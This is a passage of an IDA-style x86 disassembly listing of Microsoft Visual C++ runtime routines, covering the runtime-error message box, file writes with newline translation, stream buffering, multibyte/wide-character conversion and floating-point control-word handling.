		cmp	eax, offset off_420310
		jl	short loc_413050


loc_41305F:				; CODE XREF: sub_41303D+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_420280[esi]
		jnz	loc_41318D
		mov	eax, dword_47F968
		cmp	eax, 1
		jz	loc_413167
		test	eax, eax
		jnz	short loc_413090
		cmp	dword_41DBF4, 1
		jz	loc_413167


loc_413090:				; CODE XREF: sub_41303D+44j
		cmp	edx, 0FCh
		jz	loc_41318D
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_41704C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4130C7
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_40CD70
		pop	ecx
		pop	ecx


loc_4130C7:				; CODE XREF: sub_41303D+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_40B5B0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41310A
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40B5B0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_40B110
		add	esp, 10h


loc_41310A:				; CODE XREF: sub_41303D+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_40CD70
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_40CD80
		lea	eax, [ebp+var_A0]
		push	offset asc_417B34 ; "\n\n"
		push	eax
		call	sub_40CD80
		push	off_420284[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_40CD80
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_4149C4
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41318D
; ---------------------------------------------------------------------------


loc_413167:				; CODE XREF: sub_41303D+3Cj
					; sub_41303D+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_420284[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_40B5B0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_417034	; GetStdHandle
		push	eax
		call	dword_417078	; WriteFile


loc_41318D:				; CODE XREF: sub_41303D+2Ej
					; sub_41303D+59j ...
		pop	esi
		leave
		retn
sub_41303D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413190	proc near		; CODE XREF: sub_40D653+95p
					; sub_40D653+E8p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_480D40
		push	esi
		push	edi
		jnb	loc_413324
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:480C40h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_413324
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_4131E1


loc_4131DA:				; CODE XREF: sub_413190+177j
		xor	eax, eax
		jmp	loc_413338
; ---------------------------------------------------------------------------


loc_4131E1:				; CODE XREF: sub_413190+48j
		test	al, 20h
		jz	short loc_4131F1
		push	2
		push	edi
		push	ecx
		call	sub_412573
		add	esp, 0Ch


loc_4131F1:				; CODE XREF: sub_413190+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_4132C0
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_4132F8


loc_413211:				; CODE XREF: sub_413190+F5j
		lea	eax, [ebp+var_414]


loc_413217:				; CODE XREF: sub_413190+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41324B
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_413236
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_413236:				; CODE XREF: sub_413190+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_413217


loc_41324B:				; CODE XREF: sub_413190+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_417078	; WriteFile
		test	eax, eax
		jz	short loc_4132B5
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_413287
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_413211


loc_413287:				; CODE XREF: sub_413190+EAj
					; sub_413190+12Ej
		xor	edi, edi


loc_413289:				; CODE XREF: sub_413190+150j
					; sub_413190+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41331F
		cmp	[ebp+arg_0], edi
		jz	short loc_4132F8
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_4132ED
		mov	dword_47F914, 9
		mov	dword_47F918, eax
		jmp	loc_413335
; ---------------------------------------------------------------------------


loc_4132B5:				; CODE XREF: sub_413190+E0j
		call	dword_417044	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_413287
; ---------------------------------------------------------------------------


loc_4132C0:				; CODE XREF: sub_413190+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_417078	; WriteFile
		test	eax, eax
		jz	short loc_4132E2
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_413289
; ---------------------------------------------------------------------------


loc_4132E2:				; CODE XREF: sub_413190+145j
		call	dword_417044	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_413289
; ---------------------------------------------------------------------------


loc_4132ED:				; CODE XREF: sub_413190+10Fj
		push	[ebp+arg_0]
		call	sub_411C26
		pop	ecx
		jmp	short loc_413335
; ---------------------------------------------------------------------------


loc_4132F8:				; CODE XREF: sub_413190+7Bj
					; sub_413190+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41330D
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_4131DA


loc_41330D:				; CODE XREF: sub_413190+16Fj
		mov	dword_47F914, 1Ch
		mov	dword_47F918, edi
		jmp	short loc_413335
; ---------------------------------------------------------------------------


loc_41331F:				; CODE XREF: sub_413190+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_413338
; ---------------------------------------------------------------------------


loc_413324:				; CODE XREF: sub_413190+15j
					; sub_413190+37j
		and	dword_47F918, 0
		mov	dword_47F914, 9


loc_413335:				; CODE XREF: sub_413190+120j
					; sub_413190+166j ...
		or	eax, 0FFFFFFFFh


loc_413338:				; CODE XREF: sub_413190+4Cj
					; sub_413190+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41333D	proc near		; CODE XREF: sub_40D653+6Cp
					; sub_41176F+32p ...

arg_0		= dword	ptr  4

		inc	dword_47FAD8
		push	1000h
		call	sub_40B6BF
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_413366
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_413377
; ---------------------------------------------------------------------------


loc_413366:				; CODE XREF: sub_41333D+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_413377:				; CODE XREF: sub_41333D+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41333D	endp


; =============== S U B	R O U T	I N E =======================================



sub_413381	proc near		; CODE XREF: sub_40D653+61p
					; sub_4124A9+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_480D40
		jb	short loc_413390
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413390:				; CODE XREF: sub_413381+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_480C40[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_413381	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133A7	proc near		; DATA XREF: .nsp0:0041901Co
		mov	eax, dword_480C20
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_4133BB
		mov	eax, 200h
		jmp	short loc_4133C1
; ---------------------------------------------------------------------------


loc_4133BB:				; CODE XREF: sub_4133A7+Bj
		cmp	eax, esi
		jge	short loc_4133C6
		mov	eax, esi


loc_4133C1:				; CODE XREF: sub_4133A7+12j
		mov	dword_480C20, eax


loc_4133C6:				; CODE XREF: sub_4133A7+16j
		push	4
		push	eax
		call	sub_414A4D
		pop	ecx
		mov	dword_47FC08, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4133FA
		push	4
		push	esi
		mov	dword_480C20, esi
		call	sub_414A4D
		pop	ecx
		mov	dword_47FC08, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4133FA
		push	1Ah
		call	sub_40D60A
		pop	ecx


loc_4133FA:				; CODE XREF: sub_4133A7+30j
					; sub_4133A7+49j
		xor	ecx, ecx
		mov	eax, offset off_420310


loc_413401:				; CODE XREF: sub_4133A7+6Ej
		mov	edx, dword_47FC08
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_420590
		jl	short loc_413401
		xor	edx, edx
		mov	ecx, offset dword_420320


loc_41341E:				; CODE XREF: sub_4133A7+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_480C40[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41343B
		test	eax, eax
		jnz	short loc_41343E


loc_41343B:				; CODE XREF: sub_4133A7+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41343E:				; CODE XREF: sub_4133A7+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_420380
		jl	short loc_41341E
		pop	esi
		retn
sub_4133A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41344C	proc near		; DATA XREF: .nsp0:0041902Co

; FUNCTION CHUNK AT 00414AFE SIZE 00000058 BYTES

		call	sub_4116F9
		cmp	byte_47F954, 0
		jz	short locret_41345F
		jmp	loc_414AFE
; ---------------------------------------------------------------------------

locret_41345F:				; CODE XREF: sub_41344C+Cj
		retn
sub_41344C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413460	proc near		; CODE XREF: sub_40D768+2D4p
					; sub_40D768+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41346C
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41346C:				; CODE XREF: sub_413460+8j
		cmp	dword_47F9A4, 0
		jnz	short loc_413487
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4134B9
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413487:				; CODE XREF: sub_413460+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_41FF84
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_47F9B4
		call	dword_4170C0	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4134B9
		cmp	[ebp+arg_0], 0
		jz	short loc_4134C6


loc_4134B9:				; CODE XREF: sub_413460+1Ej
					; sub_413460+51j
		mov	dword_47F914, 2Ah
		or	eax, 0FFFFFFFFh


loc_4134C6:				; CODE XREF: sub_413460+57j
		pop	ebp
		retn
sub_413460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134C8	proc near		; CODE XREF: sub_40DF72+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4134EB
		cmp	[ebp+arg_8], ebx
		jz	short loc_4134EB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4134F1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4134EB
		mov	[eax], bx


loc_4134EB:				; CODE XREF: sub_4134C8+Cj
					; sub_4134C8+11j ...
		xor	eax, eax


loc_4134ED:				; CODE XREF: sub_4134C8+42j
					; sub_4134C8+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4134F1:				; CODE XREF: sub_4134C8+17j
		cmp	dword_47F9A4, ebx
		jnz	short loc_41350C
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_413507
		movzx	ax, al
		mov	[ecx], ax


loc_413507:				; CODE XREF: sub_4134C8+36j
					; sub_4134C8+C0j
		push	1
		pop	eax
		jmp	short loc_4134ED
; ---------------------------------------------------------------------------


loc_41350C:				; CODE XREF: sub_4134C8+2Fj
		mov	ecx, off_41FD78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_413569
		mov	eax, dword_41FF84
		cmp	eax, 1
		jle	short loc_413550
		cmp	[ebp+arg_8], eax
		jl	short loc_41355A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_47F9B4
		call	dword_4170C4	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_41FF84
		jnz	short loc_4134ED


loc_413550:				; CODE XREF: sub_4134C8+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41355A
		cmp	[esi+1], bl
		jnz	short loc_4134ED


loc_41355A:				; CODE XREF: sub_4134C8+61j
					; sub_4134C8+8Bj ...
		mov	dword_47F914, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4134ED
; ---------------------------------------------------------------------------


loc_413569:				; CODE XREF: sub_4134C8+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_47F9B4
		call	dword_4170C4	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_413507
		jmp	short loc_41355A
sub_4134C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_413590	proc near		; CODE XREF: sub_40DF72+76p
					; sub_40DF72+88p ...

arg_0		= dword	ptr  4

		cmp	dword_41FF84, 1
		jle	short loc_4135A7
		push	8
		push	[esp+4+arg_0]
		call	sub_4114D9
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4135A7:				; CODE XREF: sub_413590+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_41FD78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_413590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4135C0	proc near		; CODE XREF: sub_40DF72+797p
					; sub_40DF72+7E7p
		cmp	cl, 40h
		jnb	short loc_4135DA
		cmp	cl, 20h
		jnb	short loc_4135D0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4135D0:				; CODE XREF: sub_4135C0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4135DA:				; CODE XREF: sub_4135C0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4135C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4135DF	proc near		; CODE XREF: sub_40E9E8+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41362B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4135FD
		test	al, 80h
		jz	short loc_41362B
		test	al, 2
		jnz	short loc_41362B


loc_4135FD:				; CODE XREF: sub_4135DF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41360A
		push	esi
		call	sub_41333D
		pop	ecx


loc_41360A:				; CODE XREF: sub_4135DF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41361A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41362B
		inc	eax
		mov	[esi], eax


loc_41361A:				; CODE XREF: sub_4135DF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_413631
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_413637
		inc	eax
		mov	[esi], eax


loc_41362B:				; CODE XREF: sub_4135DF+9j
					; sub_4135DF+18j ...
		or	eax, 0FFFFFFFFh


loc_41362E:				; CODE XREF: sub_4135DF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413631:				; CODE XREF: sub_4135DF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_413637:				; CODE XREF: sub_4135DF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41362E
sub_4135DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41364D	proc near		; CODE XREF: sub_4103D9+52p
		xor	eax, eax
		retn
sub_41364D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413650	proc near		; CODE XREF: sub_413685+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41369B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41372D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413650	endp


; =============== S U B	R O U T	I N E =======================================



sub_413685	proc near		; CODE XREF: sub_4106C5+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_413650
		pop	ecx
		pop	ecx
		retn
sub_413685	endp


; =============== S U B	R O U T	I N E =======================================



sub_41369B	proc near		; CODE XREF: sub_413650+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4136AC
		push	10h
		pop	eax


loc_4136AC:				; CODE XREF: sub_41369B+Cj
		test	bl, 4
		jz	short loc_4136B3
		or	al, 8


loc_4136B3:				; CODE XREF: sub_41369B+14j
		test	bl, 8
		jz	short loc_4136BA
		or	al, 4


loc_4136BA:				; CODE XREF: sub_41369B+1Bj
		test	bl, 10h
		jz	short loc_4136C1
		or	al, 2


loc_4136C1:				; CODE XREF: sub_41369B+22j
		test	bl, 20h
		jz	short loc_4136C8
		or	al, 1


loc_4136C8:				; CODE XREF: sub_41369B+29j
		test	bl, 2
		jz	short loc_4136D2
		or	eax, 80000h


loc_4136D2:				; CODE XREF: sub_41369B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41370A
		cmp	edx, 400h
		jz	short loc_413707
		cmp	edx, 800h
		jz	short loc_413703
		cmp	edx, esi
		jnz	short loc_41370A
		or	eax, edi
		jmp	short loc_41370A
; ---------------------------------------------------------------------------


loc_413703:				; CODE XREF: sub_41369B+5Ej
		or	eax, ebp
		jmp	short loc_41370A
; ---------------------------------------------------------------------------


loc_413707:				; CODE XREF: sub_41369B+56j
		or	ah, 1


loc_41370A:				; CODE XREF: sub_41369B+4Ej
					; sub_41369B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41371A
		cmp	ecx, ebp
		jnz	short loc_41371F
		or	eax, 10000h
		jmp	short loc_41371F
; ---------------------------------------------------------------------------


loc_41371A:				; CODE XREF: sub_41369B+72j
		or	eax, 20000h


loc_41371F:				; CODE XREF: sub_41369B+76j
					; sub_41369B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41372C
		or	eax, 40000h

locret_41372C:				; CODE XREF: sub_41369B+8Aj
		retn
sub_41369B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41372D	proc near		; CODE XREF: sub_413650+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41373D
		push	1
		pop	eax


loc_41373D:				; CODE XREF: sub_41372D+Bj
		test	bl, 8
		jz	short loc_413744
		or	al, 4


loc_413744:				; CODE XREF: sub_41372D+13j
		test	bl, 4
		jz	short loc_41374B
		or	al, 8


loc_41374B:				; CODE XREF: sub_41372D+1Aj
		test	bl, 2
		jz	short loc_413752
		or	al, 10h


loc_413752:				; CODE XREF: sub_41372D+21j
		test	bl, 1
		jz	short loc_413759
		or	al, 20h


loc_413759:				; CODE XREF: sub_41372D+28j
		test	ebx, 80000h
		jz	short loc_413763
		or	al, 2


loc_413763:				; CODE XREF: sub_41372D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_413790
		cmp	ecx, 100h
		jz	short loc_41378D
		cmp	ecx, esi
		jz	short loc_413788
		cmp	ecx, edx
		jnz	short loc_413790
		or	ah, 0Ch
		jmp	short loc_413790
; ---------------------------------------------------------------------------


loc_413788:				; CODE XREF: sub_41372D+50j
		or	ah, 8
		jmp	short loc_413790
; ---------------------------------------------------------------------------


loc_41378D:				; CODE XREF: sub_41372D+4Cj
		or	ah, 4


loc_413790:				; CODE XREF: sub_41372D+44j
					; sub_41372D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4137A6
		cmp	ecx, 10000h
		jnz	short loc_4137A8
		or	eax, esi
		jmp	short loc_4137A8
; ---------------------------------------------------------------------------


loc_4137A6:				; CODE XREF: sub_41372D+6Bj
		or	eax, edx


loc_4137A8:				; CODE XREF: sub_41372D+73j
					; sub_41372D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4137B5
		or	ah, 10h

locret_4137B5:				; CODE XREF: sub_41372D+83j
		retn
sub_41372D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4137B6	proc near		; CODE XREF: sub_413855+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4137FB
		inc	esi
		cmp	esi, 3
		jge	short loc_4137F6
		lea	eax, [eax+esi*4]


loc_4137E8:				; CODE XREF: sub_4137B6+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4137FB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4137E8


loc_4137F6:				; CODE XREF: sub_4137B6+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4137FB:				; CODE XREF: sub_4137B6+27j
					; sub_4137B6+35j
		xor	eax, eax
		pop	esi
		retn
sub_4137B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4137FF	proc near		; CODE XREF: sub_413855+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_414B56
		add	esp, 0Ch
		dec	esi
		js	short loc_413851
		lea	edi, [ebx+esi*4]


loc_413838:				; CODE XREF: sub_4137FF+50j
		test	eax, eax
		jz	short loc_413851
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_414B56
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_413838


loc_413851:				; CODE XREF: sub_4137FF+34j
					; sub_4137FF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4137FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413855	proc near		; CODE XREF: sub_4139B0+81p
					; sub_4139B0+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4138B9
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4137B6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4138B6
		push	edi
		push	[ebp+arg_0]
		call	sub_4137FF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4138B6:				; CODE XREF: sub_413855+51j
		mov	eax, [ebp+arg_4]


loc_4138B9:				; CODE XREF: sub_413855+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4138D9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4138D9:				; CODE XREF: sub_413855+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413855	endp


; =============== S U B	R O U T	I N E =======================================



sub_4138E1	proc near		; CODE XREF: sub_4139B0+75p
					; sub_4139B0+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4138EF:				; CODE XREF: sub_4138E1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4138EF
		pop	esi
		retn
sub_4138E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4138FC	proc near		; CODE XREF: sub_4139B0+5Fp
					; sub_4139B0+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4138FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413908	proc near		; CODE XREF: sub_4139B0+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41390E:				; CODE XREF: sub_413908+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_413920
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41390E
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_413920:				; CODE XREF: sub_413908+9j
		xor	eax, eax
		retn
sub_413908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413923	proc near		; CODE XREF: sub_4139B0+C0p
					; sub_4139B0+DAp ...

